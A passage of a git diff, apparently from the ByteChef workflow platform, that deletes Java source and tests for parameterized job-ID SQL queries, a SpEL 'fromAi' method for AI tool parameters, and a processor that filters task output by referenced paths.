-        assertThat(query).contains("AND principal_id IN(?,?,?)");
-        assertThat(args).contains(1L, 2L, 3L);
-    }
-
-    @Test
-    @SuppressWarnings("unchecked")
-    void testFindAllJobIdsWithWorkflowIds() {
-        when(jdbcTemplate.queryForObject(anyString(), eq(Long.class), any(Object[].class))).thenReturn(5L);
-        when(jdbcTemplate.query(anyString(), any(RowMapper.class), any(Object[].class))).thenReturn(List.of(1L));
-
-        customPrincipalJobRepository.findAllJobIds(
-            null, null, null, null, 1, List.of("workflow1", "workflow2"), PageRequest.of(0, 10));
-
-        verify(jdbcTemplate).query(queryCaptor.capture(), any(RowMapper.class), argsCaptor.capture());
-
-        String query = queryCaptor.getValue();
-        Object[] args = argsCaptor.getValue();
-
-        assertThat(query).contains("AND workflow_id IN(?,?)");
-        assertThat(args).contains("workflow1", "workflow2");
-    }
-
-    @Test
-    void testFindAllJobIdsEmptyResult() {
-        when(jdbcTemplate.queryForObject(anyString(), eq(Long.class), any(Object[].class))).thenReturn(0L);
-
-        Page<Long> page = customPrincipalJobRepository.findAllJobIds(
-            null, null, null, null, 1, List.of(), PageRequest.of(0, 10));
-
-        assertThat(page.isEmpty()).isTrue();
-        assertThat(page.getTotalElements()).isZero();
-    }
-
-    @Test
-    @SuppressWarnings("unchecked")
-    void testFindAllJobIdsAllFiltersParameterized() {
-        Instant now = Instant.now();
-
-        Instant startDate = now.minusSeconds(3600);
-
-        when(jdbcTemplate.queryForObject(anyString(), eq(Long.class), any(Object[].class))).thenReturn(5L);
-        when(jdbcTemplate.query(anyString(), any(RowMapper.class), any(Object[].class))).thenReturn(List.of(1L, 2L));
-
-        customPrincipalJobRepository.findAllJobIds(
-            1, startDate, now, List.of(10L, 20L), 2, List.of("wf1", "wf2"), PageRequest.of(2, 5));
-
-        verify(jdbcTemplate).query(queryCaptor.capture(), any(RowMapper.class), argsCaptor.capture());
-
-        String query = queryCaptor.getValue();
-        Object[] args = argsCaptor.getValue();
-
-        assertThat(query).contains("WHERE type = ?");
-        assertThat(query).contains("AND status = ?");
-        assertThat(query).contains("AND start_date >= ?");
-        assertThat(query).contains("AND end_date <= ?");
-        assertThat(query).contains("AND principal_id IN(?,?)");
-        assertThat(query).contains("AND workflow_id IN(?,?)");
-        assertThat(query).contains("LIMIT ? OFFSET ?");
-
-        assertThat(query).doesNotMatch(".*LIMIT \\d+.*");
-        assertThat(query).doesNotMatch(".*OFFSET \\d+.*");
-
-        assertThat(args[args.length - 2]).isEqualTo(5);
-        assertThat(args[args.length - 1]).isEqualTo(10L);
-    }
-}
diff --git a/server/libs/platform/platform-workflow/platform-workflow-worker/platform-workflow-worker-api/src/main/java/com/bytechef/platform/workflow/worker/ai/FromAi.java b/server/libs/platform/platform-workflow/platform-workflow-worker/platform-workflow-worker-api/src/main/java/com/bytechef/platform/workflow/worker/ai/FromAi.java
deleted file mode 100644
index d70efb8da2d..00000000000
--- a/server/libs/platform/platform-workflow/platform-workflow-worker/platform-workflow-worker-api/src/main/java/com/bytechef/platform/workflow/worker/ai/FromAi.java
+++ /dev/null
@@ -1,84 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.workflow.worker.ai;
-
-import org.apache.commons.lang3.StringUtils;
-import org.springframework.expression.AccessException;
-import org.springframework.expression.EvaluationContext;
-import org.springframework.expression.MethodExecutor;
-import org.springframework.expression.TypedValue;
-
-/**
- * @author Ivica Cardic
- */
-public class FromAi implements MethodExecutor {
-
-    @Override
-    public TypedValue execute(EvaluationContext context, Object target, Object... arguments) throws AccessException {
-        if (arguments.length == 0) {
-            throw new IllegalArgumentException("fromAi requires at least a name argument.");
-        }
-
-        if (arguments.length > 4) {
-            throw new IllegalArgumentException(
-                "fromAi accepts at most 4 arguments (name, description, type, default).");
-        }
-
-        Object nameArgument = arguments[0];
-
-        if (!(nameArgument instanceof String string) || StringUtils.isBlank(string)) {
-            throw new IllegalArgumentException("fromAi name argument must be a non-empty String.");
-        }
-
-        String name = string.trim();
-
-        String description = null;
-
-        if (arguments.length > 1) {
-            Object descriptionArgument = arguments[1];
-
-            if (descriptionArgument != null && !(descriptionArgument instanceof String)) {
-                throw new IllegalArgumentException("fromAi description argument must be a String or null.");
-            }
-
-            description = (String) descriptionArgument;
-        }
-
-        String type = "STRING";
-
-        if (arguments.length > 2) {
-            Object typeArgument = arguments[2];
-
-            if (typeArgument != null && !(typeArgument instanceof String)) {
-                throw new IllegalArgumentException("fromAi type argument must be a String or null.");
-            }
-
-            String typeCandidate = (String) typeArgument;
-
-            String trimmedTypeCandidate = typeCandidate != null ? typeCandidate.trim() : null;
-
-            if (trimmedTypeCandidate != null && !trimmedTypeCandidate.isEmpty()) {
-                type = trimmedTypeCandidate;
-            }
-        }
-
-        Object defaultValue = arguments.length > 3 ? arguments[3] : null;
-
-        return new TypedValue(new FromAiResult(name, description, type, defaultValue));
-    }
-
-}
diff --git a/server/libs/platform/platform-workflow/platform-workflow-worker/platform-workflow-worker-api/src/main/java/com/bytechef/platform/workflow/worker/ai/FromAiResult.java b/server/libs/platform/platform-workflow/platform-workflow-worker/platform-workflow-worker-api/src/main/java/com/bytechef/platform/workflow/worker/ai/FromAiResult.java
deleted file mode 100644
index d9c88431113..00000000000
--- a/server/libs/platform/platform-workflow/platform-workflow-worker/platform-workflow-worker-api/src/main/java/com/bytechef/platform/workflow/worker/ai/FromAiResult.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.workflow.worker.ai;
-
-/**
- * Marker object produced by the {@code fromAi} SpEL method. When the evaluator encounters {@code =fromAi('name',
- * 'description', 'type', defaultValue)}, it creates a {@code FromAiResult} that downstream code (e.g. the AI agent
- * action) uses for input-schema generation and runtime value replacement.
- *
- * @param name         the parameter name the AI model will see in the tool schema (required)
- * @param description  human-readable description shown to the AI model (nullable)
- * @param type         data type string: STRING, NUMBER, INTEGER, BOOLEAN, ARRAY, OBJECT (defaults to STRING)
- * @param defaultValue fallback value when the AI model does not provide one (nullable)
- * @author Ivica Cardic
- */
-public record FromAiResult(String name, String description, String type, Object defaultValue) {
-}
diff --git a/server/libs/platform/platform-workflow/platform-workflow-worker/platform-workflow-worker-api/src/test/java/com/bytechef/platform/workflow/worker/ai/FromAiTest.java b/server/libs/platform/platform-workflow/platform-workflow-worker/platform-workflow-worker-api/src/test/java/com/bytechef/platform/workflow/worker/ai/FromAiTest.java
deleted file mode 100644
index 12875fcc63c..00000000000
--- a/server/libs/platform/platform-workflow/platform-workflow-worker/platform-workflow-worker-api/src/test/java/com/bytechef/platform/workflow/worker/ai/FromAiTest.java
+++ /dev/null
@@ -1,100 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.workflow.worker.ai;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertInstanceOf;
-import static org.junit.jupiter.api.Assertions.assertNull;
-import static org.junit.jupiter.api.Assertions.assertThrowsExactly;
-
-import com.bytechef.commons.util.MapUtils;
-import com.bytechef.evaluator.Evaluator;
-import com.bytechef.evaluator.SpelEvaluator;
-import com.bytechef.test.extension.ObjectMapperSetupExtension;
-import java.util.Collections;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.extension.ExtendWith;
-
-/**
- * @author Ivica Cardic
- */
-@ExtendWith(ObjectMapperSetupExtension.class)
-public class FromAiTest {
-
-    private static final Evaluator EVALUATOR = SpelEvaluator.builder()
-        .methodExecutor("fromAi", new FromAi())
-        .build();
-
-    @Test
-    public void testFromAiWithNameOnly() {
-        Map<String, Object> map = EVALUATOR.evaluate(
-            Map.of("param", "=fromAi('sifra_artikla')"), Collections.emptyMap());
-
-        Object result = MapUtils.get(map, "param");
-
-        assertInstanceOf(FromAiResult.class, result);
-
-        FromAiResult fromAiResult = (FromAiResult) result;
-
-        assertEquals("sifra_artikla", fromAiResult.name());
-        assertNull(fromAiResult.description());
-        assertEquals("STRING", fromAiResult.type());
-        assertNull(fromAiResult.defaultValue());
-    }
-
-    @Test
-    public void testFromAiWithNameAndDescription() {
-        Map<String, Object> map = EVALUATOR.evaluate(
-            Map.of("param", "=fromAi('sifra_artikla', 'The product code')"), Collections.emptyMap());
-
-        Object result = MapUtils.get(map, "param");
-
-        assertInstanceOf(FromAiResult.class, result);
-
-        FromAiResult fromAiResult = (FromAiResult) result;
-
-        assertEquals("sifra_artikla", fromAiResult.name());
-        assertEquals("The product code", fromAiResult.description());
-        assertEquals("STRING", fromAiResult.type());
-        assertNull(fromAiResult.defaultValue());
-    }
-
-    @Test
-    public void testFromAiWithAllArguments() {
-        Map<String, Object> map = EVALUATOR.evaluate(
-            Map.of("param", "=fromAi('price', 'Item price', 'NUMBER', 0)"), Collections.emptyMap());
-
-        Object result = MapUtils.get(map, "param");
-
-        assertInstanceOf(FromAiResult.class, result);
-
-        FromAiResult fromAiResult = (FromAiResult) result;
-
-        assertEquals("price", fromAiResult.name());
-        assertEquals("Item price", fromAiResult.description());
-        assertEquals("NUMBER", fromAiResult.type());
-        assertEquals(0, fromAiResult.defaultValue());
-    }
-
-    @Test
-    public void testFromAiNoArguments() {
-        assertThrowsExactly(IllegalArgumentException.class, () -> EVALUATOR.evaluate(
-            Map.of("param", "=fromAi()"), Collections.emptyMap()));
-    }
-
-}
diff --git a/server/libs/platform/platform-workflow/platform-workflow-worker/platform-workflow-worker-impl/src/main/java/com/bytechef/platform/workflow/worker/message/OutputFilteringMessageEventPreSendProcessor.java b/server/libs/platform/platform-workflow/platform-workflow-worker/platform-workflow-worker-impl/src/main/java/com/bytechef/platform/workflow/worker/message/OutputFilteringMessageEventPreSendProcessor.java
deleted file mode 100644
index cc25ce545e7..00000000000
--- a/server/libs/platform/platform-workflow/platform-workflow-worker/platform-workflow-worker-impl/src/main/java/com/bytechef/platform/workflow/worker/message/OutputFilteringMessageEventPreSendProcessor.java
+++ /dev/null
@@ -1,448 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.workflow.worker.message;
-
-import com.bytechef.atlas.coordinator.event.TaskExecutionCompleteEvent;
-import com.bytechef.atlas.execution.domain.TaskExecution;
-import com.bytechef.atlas.file.storage.TaskFileStorage;
-import com.bytechef.file.storage.domain.FileEntry;
-import com.bytechef.message.event.MessageEvent;
-import com.bytechef.message.event.MessageEventPreSendProcessor;
-import com.bytechef.platform.component.constant.MetadataConstants;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.Comparator;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.Objects;
-import java.util.Set;
-import java.util.TreeSet;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-import org.springframework.stereotype.Component;
-
-/**
- * Filters task execution output to include only the property paths referenced by downstream tasks. The referenced paths
- * are provided as metadata on the task execution by
- * {@link com.bytechef.platform.workflow.coordinator.task.dispatcher.OutputReferenceTaskDispatcherPreSendProcessor}.
- *
- * @author Ivica Cardic
- */
-@Component
-class OutputFilteringMessageEventPreSendProcessor implements MessageEventPreSendProcessor {
-
-    private static final Logger logger = LoggerFactory.getLogger(OutputFilteringMessageEventPreSendProcessor.class);
-
-    private final TaskFileStorage taskFileStorage;
-
-    @SuppressFBWarnings("EI")
-    OutputFilteringMessageEventPreSendProcessor(TaskFileStorage taskFileStorage) {
-        this.taskFileStorage = taskFileStorage;
-    }
-
-    @Override
-    public MessageEvent<?> process(MessageEvent<?> messageEvent) {
-        if (!(messageEvent instanceof TaskExecutionCompleteEvent taskExecutionCompleteEvent)) {
-            return messageEvent;
-        }
-
-        TaskExecution taskExecution = taskExecutionCompleteEvent.getTaskExecution();
-
-        FileEntry output = taskExecution.getOutput();
-
-        if (output == null) {
-            return messageEvent;
-        }
-
-        Map<String, ?> metadata = taskExecution.getMetadata();
-
-        Object referencePaths = metadata.get(MetadataConstants.OUTPUT_REFERENCE_PATHS);
-
-        if (!(referencePaths instanceof Collection<?> referencePathCollection) || referencePathCollection.isEmpty()) {
-            return messageEvent;
-        }
-
-        Set<String> paths = Set.copyOf(
-            referencePathCollection.stream()
-                .map(Object::toString)
-                .toList());
-
-        Object outputValue = taskFileStorage.readTaskExecutionOutput(output);
-
-        if (!(outputValue instanceof Map<?, ?> outputMap)) {
-            return messageEvent;
-        }
-
-        Map<String, Object> filteredOutput = filterOutputByPaths(outputMap, paths);
-
-        FileEntry filteredOutputFileEntry = taskFileStorage.storeTaskExecutionOutput(
-            Objects.requireNonNull(taskExecution.getJobId()),
-            Objects.requireNonNull(taskExecution.getId()), filteredOutput);
-
-        taskExecution.setOutput(filteredOutputFileEntry);
-
-        if (logger.isDebugEnabled()) {
-            logger.debug(
-                "Filtered output for task name='{}', type='{}': kept {} paths out of {} top-level keys",
-                taskExecution.getName(), taskExecution.getType(), paths.size(), outputMap.size());
-        }
-
-        return messageEvent;
-    }
-
-    private static Map<String, Object> filterOutputByPaths(Map<?, ?> outputMap, Set<String> paths) {
-        Set<String> normalizedPaths = normalizePaths(paths);
-
-        Map<String, Object> filteredOutput = new HashMap<>();
-
-        for (String path : normalizedPaths) {
-            String[] segments = path.split("\\.");
-
-            Object resolvedValue = outputMap;
-
-            for (String segment : segments) {
-                resolvedValue = resolveSegment(resolvedValue, segment);
-
-                if (resolvedValue == null) {
-                    break;
-                }
-            }
-
-            if (resolvedValue != null) {
-                setNestedValue(filteredOutput, segments, resolvedValue, outputMap);
-            }
-        }
-
-        return filteredOutput;
-    }
-
-    private static Set<String> normalizePaths(Set<String> paths) {
-        TreeSet<String> sortedPaths = new TreeSet<>(
-            Comparator.<String>comparingInt(path -> path.split("\\.").length)
-                .thenComparing(Comparator.naturalOrder()));
-
-        sortedPaths.addAll(paths);
-
-        Set<String> normalizedPaths = new TreeSet<>(
-            Comparator.<String>comparingInt(path -> path.split("\\.").length)
-                .thenComparing(Comparator.naturalOrder()));
-
-        for (String path : sortedPaths) {
-            boolean coveredByParent = false;
-
-            for (String includedPath : normalizedPaths) {
-                if (path.equals(includedPath) || path.startsWith(includedPath + ".")
-                    || path.startsWith(includedPath + "[")) {
-                    coveredByParent = true;
-
-                    break;
-                }
-            }
-
-            if (!coveredByParent) {
-                normalizedPaths.add(path);
-            }
-        }
-
-        return normalizedPaths;
-    }
-
-    private static Object resolveSegment(Object currentValue, String segment) {
-        if (segment == null) {
-            return null;
-        }
-
-        int firstBracket = segment.indexOf('[');
-
-        if (firstBracket == -1) {
-            if (currentValue instanceof Map<?, ?> currentMap) {
-                return currentMap.get(segment);
-            }
-
-            return null;
-        }
-
-        int length = segment.length();
-
-        if (firstBracket == 0) {
-            return resolveArrayIndexes(currentValue, segment, 0, length);
-        }
-
-        String key = segment.substring(0, firstBracket);
-        Object value;
-
-        if (currentValue instanceof Map<?, ?> currentMap) {
-            value = currentMap.get(key);
-        } else {
-            return null;
-        }
-
-        return resolveArrayIndexes(value, segment, firstBracket, length);
-    }
-
-    private static Object resolveArrayIndexes(Object value, String segment, int startPosition, int length) {
-        int position = startPosition;
-
-        while (position < length && segment.charAt(position) == '[') {
-            int closing = segment.indexOf(']', position);
-
-            if (closing == -1) {
-                return null;
-            }
-
-            int index = extractIndexFromBracket(segment, position, closing);
-
-            if (index < 0) {
-                return null;
-            }
-
-            if (!(value instanceof List<?> list) || index >= list.size()) {
-                return null;
-            }
-
-            value = list.get(index);
-            position = closing + 1;
-        }
-
-        return value;
-    }
-
-    @SuppressWarnings("unchecked")
-    private static void setNestedValue(
-        Map<String, Object> target, String[] segments, Object value, Map<?, ?> originalOutputMap) {
-
-        Map<String, Object> currentFilteredMap = target;
-        Object currentOriginal = originalOutputMap;
-
-        for (int segmentIndex = 0; segmentIndex < segments.length - 1; segmentIndex++) {
-            String segment = segments[segmentIndex];
-            int firstBracket = segment.indexOf('[');
-
-            if (firstBracket != -1) {
-                String key = segment.substring(0, firstBracket);
-
-                Object originalListValue = resolveMapKey(currentOriginal, key);
-
-                if (!(originalListValue instanceof List<?> originalList)) {
-                    return;
-                }
-
-                Object existingInFiltered = currentFilteredMap.get(key);
-
-                if (!(existingInFiltered instanceof List<?>)) {
-                    List<Object> mutableList = createNullFilledList(originalList.size());
-
-                    currentFilteredMap.put(key, mutableList);
-
-                    existingInFiltered = mutableList;
-                }
-
-                List<Object> filteredList = (List<Object>) existingInFiltered;
-                ListNavigationResult navigationResult = navigateToDeepestList(
-                    originalList, segment, firstBracket, filteredList);
-
-                if (navigationResult == null) {
-                    return;
-                }
-
-                Object elementAtIndex = navigationResult.filteredList.get(navigationResult.index);
-
-                if (!(elementAtIndex instanceof Map)) {
-                    Map<String, Object> newMap = new HashMap<>();
-
-                    navigationResult.filteredList.set(navigationResult.index, newMap);
-
-                    elementAtIndex = newMap;
-                }
-
-                currentFilteredMap = (Map<String, Object>) elementAtIndex;
-                currentOriginal = navigationResult.originalElement;
-            } else {
-                currentOriginal = resolveMapKey(currentOriginal, segment);
-
-                currentFilteredMap =
-                    (Map<String, Object>) currentFilteredMap.computeIfAbsent(segment, unusedKey -> new HashMap<>());
-            }
-        }
-
-        String lastSegment = segments[segments.length - 1];
-        int firstBracket = lastSegment.indexOf('[');
-
-        if (firstBracket != -1) {
-            String key = lastSegment.substring(0, firstBracket);
-
-            Object originalListValue = resolveMapKey(currentOriginal, key);
-
-            if (!(originalListValue instanceof List<?> originalList)) {
-                return;
-            }
-
-            Object existingInFiltered = currentFilteredMap.get(key);
-
-            if (!(existingInFiltered instanceof List<?>)) {
-                List<Object> mutableList = createNullFilledList(originalList.size());
-
-                currentFilteredMap.put(key, mutableList);
-
-                existingInFiltered = mutableList;
-            }
-
-            setValueInList((List<Object>) existingInFiltered, lastSegment, firstBracket, value, originalList);
-        } else {
-            currentFilteredMap.put(lastSegment, value);
-        }
-    }
-
-    private static Object resolveMapKey(Object source, String key) {
-        if (source instanceof Map<?, ?> map) {
-            return map.get(key);
-        }
-
-        return null;
-    }
-
-    @SuppressWarnings("unchecked")
-    private static ListNavigationResult navigateToDeepestList(
-        List<?> originalList, String segment, int firstBracket, List<Object> filteredList) {
-
-        int position = firstBracket;
-        int length = segment.length();
-        Object currentOriginal = originalList;
-        List<Object> currentFiltered = filteredList;
-
-        while (position < length && segment.charAt(position) == '[') {
-            int closing = segment.indexOf(']', position);
-
-            if (closing == -1) {
-                return null;
-            }
-
-            int index = extractIndexFromBracket(segment, position, closing);
-
-            if (index < 0) {
-                return null;
-            }
-
-            if (!(currentOriginal instanceof List<?> list) || index >= list.size()) {
-                return null;
-            }
-
-            Object originalElement = list.get(index);
-            int nextPosition = closing + 1;
-
-            if (nextPosition < length && segment.charAt(nextPosition) == '[') {
-                if (!(currentFiltered.get(index) instanceof List<?>)
-                    && originalElement instanceof List<?> nestedOriginal) {
-
-                    List<Object> nestedMutable = createNullFilledList(nestedOriginal.size());
-
-                    currentFiltered.set(index, nestedMutable);
-                }
-
-                if (currentFiltered.get(index) instanceof List<?> nestedFiltered) {
-                    currentFiltered = (List<Object>) nestedFiltered;
-                }
-
-                currentOriginal = originalElement;
-                position = nextPosition;
-            } else {
-                return new ListNavigationResult(currentFiltered, index, originalElement);
-            }
-        }
-
-        return null;
-    }
-
-    @SuppressWarnings("unchecked")
-    private static void setValueInList(
-        List<Object> filteredList, String segment, int firstBracket, Object value, List<?> originalList) {
-
-        int position = firstBracket;
-        int length = segment.length();
-        List<Object> currentList = filteredList;
-        List<?> currentOriginal = originalList;
-
-        while (position < length && segment.charAt(position) == '[') {
-            int closing = segment.indexOf(']', position);
-
-            if (closing == -1) {
-                return;
-            }
-
-            int index = extractIndexFromBracket(segment, position, closing);
-
-            if (index < 0 || index >= currentList.size()) {
-                return;
-            }
-
-            int nextPosition = closing + 1;
-
-            if (nextPosition < length && segment.charAt(nextPosition) == '[') {
-                if (!(currentList.get(index) instanceof List<?>)) {
-                    if (index < currentOriginal.size()
-                        && currentOriginal.get(index) instanceof List<?> nestedOriginal) {
-
-                        List<Object> nestedMutable = createNullFilledList(nestedOriginal.size());
-
-                        currentList.set(index, nestedMutable);
-
-                        currentOriginal = nestedOriginal;
-                    } else {
-                        return;
-                    }
-                } else {
-                    if (index < currentOriginal.size()
-                        && currentOriginal.get(index) instanceof List<?> nestedOriginal) {
-
-                        currentOriginal = nestedOriginal;
-                    }
-                }
-
-                currentList = (List<Object>) currentList.get(index);
-                position = nextPosition;
-            } else {
-                currentList.set(index, value);
-
-                return;
-            }
-        }
-    }
-
-    private static List<Object> createNullFilledList(int size) {
-        List<Object> list = new ArrayList<>(size);
-
-        for (int i = 0; i < size; i++) {
-            list.add(null);
-        }
-
-        return list;
-    }
-
-    private static int extractIndexFromBracket(String segment, int openPosition, int closePosition) {
-        try {
-            return Integer.parseInt(segment.substring(openPosition + 1, closePosition));
-        } catch (NumberFormatException numberFormatException) {
-            return -1;
-        }
-    }
-
-    private record ListNavigationResult(List<Object> filteredList, int index, Object originalElement) {
-    }
-
-}
diff --git a/server/libs/platform/platform-workflow/platform-workflow-worker/platform-workflow-worker-impl/src/test/java/com/bytechef/platform/workflow/worker/message/OutputFilteringMessageEventPreSendProcessorTest.java b/server/libs/platform/platform-workflow/platform-workflow-worker/platform-workflow-worker-impl/src/test/java/com/bytechef/platform/workflow/worker/message/OutputFilteringMessageEventPreSendProcessorTest.java
deleted file mode 100644
index dfd54015f90..00000000000
--- a/server/libs/platform/platform-workflow/platform-workflow-worker/platform-workflow-worker-impl/src/test/java/com/bytechef/platform/workflow/worker/message/OutputFilteringMessageEventPreSendProcessorTest.java
+++ /dev/null
@@ -1,690 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.workflow.worker.message;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.anyLong;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.never;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.atlas.configuration.constant.WorkflowConstants;
-import com.bytechef.atlas.configuration.domain.WorkflowTask;
-import com.bytechef.atlas.coordinator.event.TaskExecutionCompleteEvent;
-import com.bytechef.atlas.execution.domain.TaskExecution;
-import com.bytechef.atlas.file.storage.TaskFileStorage;
-import com.bytechef.file.storage.domain.FileEntry;
-import com.bytechef.message.event.MessageEvent;
-import com.bytechef.platform.component.constant.MetadataConstants;
-import com.bytechef.test.extension.ObjectMapperSetupExtension;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.extension.ExtendWith;
-
-/**
- * @author Ivica Cardic
- */
-@ExtendWith(ObjectMapperSetupExtension.class)
-class OutputFilteringMessageEventPreSendProcessorTest {
-
-    private OutputFilteringMessageEventPreSendProcessor processor;
-    private TaskFileStorage taskFileStorage;
-
-    @BeforeEach
-    void beforeEach() {
-        taskFileStorage = mock(TaskFileStorage.class);
-
-        processor = new OutputFilteringMessageEventPreSendProcessor(taskFileStorage);
-    }
-
-    @Test
-    void testProcessFiltersOutputByReferencePaths() {
-        Map<String, Object> fullOutput = Map.of(
-            "response", Map.of("lastname", "Doe", "firstname", "John", "age", 30),
-            "meta", Map.of("more_info", "info@test.com", "status", "active"),
-            "extraField", "unused");
-
-        FileEntry originalOutputFileEntry = mock(FileEntry.class);
-        FileEntry filteredOutputFileEntry = mock(FileEntry.class);
-
-        when(taskFileStorage.readTaskExecutionOutput(originalOutputFileEntry)).thenReturn(fullOutput);
-        when(taskFileStorage.storeTaskExecutionOutput(anyLong(), anyLong(), any())).thenReturn(filteredOutputFileEntry);
-
-        TaskExecution taskExecution = TaskExecution.builder()
-            .id(1L)
-            .jobId(100L)
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        taskExecution.setOutput(originalOutputFileEntry);
-        taskExecution.putMetadata(MetadataConstants.OUTPUT_REFERENCE_PATHS,
-            Set.of("response.lastname", "meta.more_info"));
-
-        TaskExecutionCompleteEvent event = new TaskExecutionCompleteEvent(taskExecution);
-
-        MessageEvent<?> result = processor.process(event);
-
-        assertThat(result).isSameAs(event);
-        assertThat(taskExecution.getOutput()).isSameAs(filteredOutputFileEntry);
-
-        verify(taskFileStorage).storeTaskExecutionOutput(anyLong(), anyLong(), any());
-    }
-
-    @Test
-    void testProcessPassesThroughWhenNoReferencePaths() {
-        FileEntry outputFileEntry = mock(FileEntry.class);
-
-        TaskExecution taskExecution = TaskExecution.builder()
-            .id(1L)
-            .jobId(100L)
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        taskExecution.setOutput(outputFileEntry);
-
-        TaskExecutionCompleteEvent event = new TaskExecutionCompleteEvent(taskExecution);
-
-        MessageEvent<?> result = processor.process(event);
-
-        assertThat(result).isSameAs(event);
-        assertThat(taskExecution.getOutput()).isSameAs(outputFileEntry);
-
-        verify(taskFileStorage, never()).readTaskExecutionOutput(any());
-    }
-
-    @Test
-    void testProcessPassesThroughWhenOutputIsNull() {
-        TaskExecution taskExecution = TaskExecution.builder()
-            .id(1L)
-            .jobId(100L)
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        taskExecution.putMetadata(MetadataConstants.OUTPUT_REFERENCE_PATHS, Set.of("response.lastname"));
-
-        TaskExecutionCompleteEvent event = new TaskExecutionCompleteEvent(taskExecution);
-
-        MessageEvent<?> result = processor.process(event);
-
-        assertThat(result).isSameAs(event);
-
-        verify(taskFileStorage, never()).readTaskExecutionOutput(any());
-    }
-
-    @Test
-    void testProcessPassesThroughWhenOutputIsNotMap() {
-        FileEntry outputFileEntry = mock(FileEntry.class);
-
-        when(taskFileStorage.readTaskExecutionOutput(outputFileEntry)).thenReturn("stringOutput");
-
-        TaskExecution taskExecution = TaskExecution.builder()
-            .id(1L)
-            .jobId(100L)
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        taskExecution.setOutput(outputFileEntry);
-        taskExecution.putMetadata(MetadataConstants.OUTPUT_REFERENCE_PATHS, Set.of("response.lastname"));
-
-        TaskExecutionCompleteEvent event = new TaskExecutionCompleteEvent(taskExecution);
-
-        MessageEvent<?> result = processor.process(event);
-
-        assertThat(result).isSameAs(event);
-        assertThat(taskExecution.getOutput()).isSameAs(outputFileEntry);
-
-        verify(taskFileStorage, never()).storeTaskExecutionOutput(anyLong(), anyLong(), any());
-    }
-
-    @Test
-    @SuppressWarnings("unchecked")
-    void testProcessDeepPathFiltering() {
-        Map<String, Object> fullOutput = Map.of(
-            "response", Map.of("lastname", "Doe", "firstname", "John"),
-            "meta", Map.of("more_info", "info@test.com"));
-
-        FileEntry originalOutputFileEntry = mock(FileEntry.class);
-        FileEntry filteredOutputFileEntry = mock(FileEntry.class);
-
-        when(taskFileStorage.readTaskExecutionOutput(originalOutputFileEntry)).thenReturn(fullOutput);
